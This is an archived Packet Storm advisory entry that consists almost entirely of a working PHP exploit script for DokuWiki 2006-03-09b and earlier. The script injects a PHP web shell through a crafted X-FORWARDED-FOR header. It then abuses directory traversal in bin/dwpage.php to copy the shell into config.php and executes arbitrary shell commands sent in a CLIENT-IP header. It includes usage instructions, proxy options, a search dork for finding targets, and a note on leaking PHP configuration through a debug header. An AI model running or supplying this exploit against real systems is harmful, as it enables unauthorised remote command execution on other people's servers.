dokuwiki20060309b.txt

2006-09-08T00:00:00
ID PACKETSTORM:49824
Type packetstorm
Reporter rgod
Modified 2006-09-08T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
print_r('  
--------------------------------------------------------------------------------  
DokuWiki <= 2006-03-09b release /bin/dwpage.php remote commands execution xploit  
by rgod rgod@autistici.org  
site: http://retrogod.altervista.org  
dork: "Driven by DokuWiki"  
--------------------------------------------------------------------------------  
');  
/*  
works with register_argc_argv = On  
*/  
if ($argc<4) {  
print_r('  
--------------------------------------------------------------------------------  
Usage: php '.$argv[0].' host path cmd OPTIONS  
host: target server (ip/hostname)  
path: path to dokuwiki  
cmd: a shell command  
Options:  
-p[port]: specify a port other than 80  
-P[ip:port]: specify a proxy  
Example:  
php '.$argv[0].' localhost /wiki/ ls -la -P1.1.1.1:80  
php '.$argv[0].' localhost /wiki/ ls -la -p81  
--------------------------------------------------------------------------------  
');  
die;  
}  
/* software site: http://wiki.splitbrain.org/wiki:dokuwiki  
  
there are some shell scripts in /bin folder and there is no .htaccess to  
protect it: most dangerous one is dwpage.php, if register_argc_argv = On  
it allows to copy/move files among folders because of $TARGET_FN var  
directory traversal, also you can inject a shell by main doku.php script  
sending a malicious X-FORWARDED-FOR http header (but you could do the same  
uploading some file in /data/media folder through /lib/exe/media.php...,  
I choosed the first solution)  
  
also, I noticed, you can disclose php configuration by  
setting an http header like this calling the main doku.php  
script:  
  
X-DOKUWIKI-DO: debug  
  
(debug feature is enabled by default...)  
*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";  
$port=80;  
$proxy="";  
for ($i=3; $i<$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
//create /data/pages/suntzu.txt.lock and inject the shell code  
$data="do=edit&rev=&id=suntzu";  
$packet="POST ".$p."doku.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="X-FORWARDED-FOR: <?php set_time_limit(0);echo 'my_delim';passthru(\$_SERVER['HTTP_CLIENT_IP']);die;?>\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
sleep(1);  
  
//copy /data/pages/suntzu.txt.lock to /data/pages/wiki/suntzu.txt  
$packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+commit+../data/pages/suntzu.txt.lock+wiki:suntzu HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
sleep(1);  
  
//copy /data/pages/wiki/suntzu.txt to config.php inside main folder  
$packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+checkout+wiki:suntzu+../config.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
sleep(1);  
  
//launch commands...  
$packet="GET ".$p."config.php HTTP/1.0\r\n";  
$packet.="CLIENT-IP: $cmd\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"my_delim")){echo "exploit succeeded...\r\n";$temp=explode("my_delim",$html);die($temp[1]);}  
else { echo "exploit failed...\r\n";}  
?>  
  
original url: http://retrogod.altervista.org/dokuwiki_2006-03-09b_cmd.html  
  
`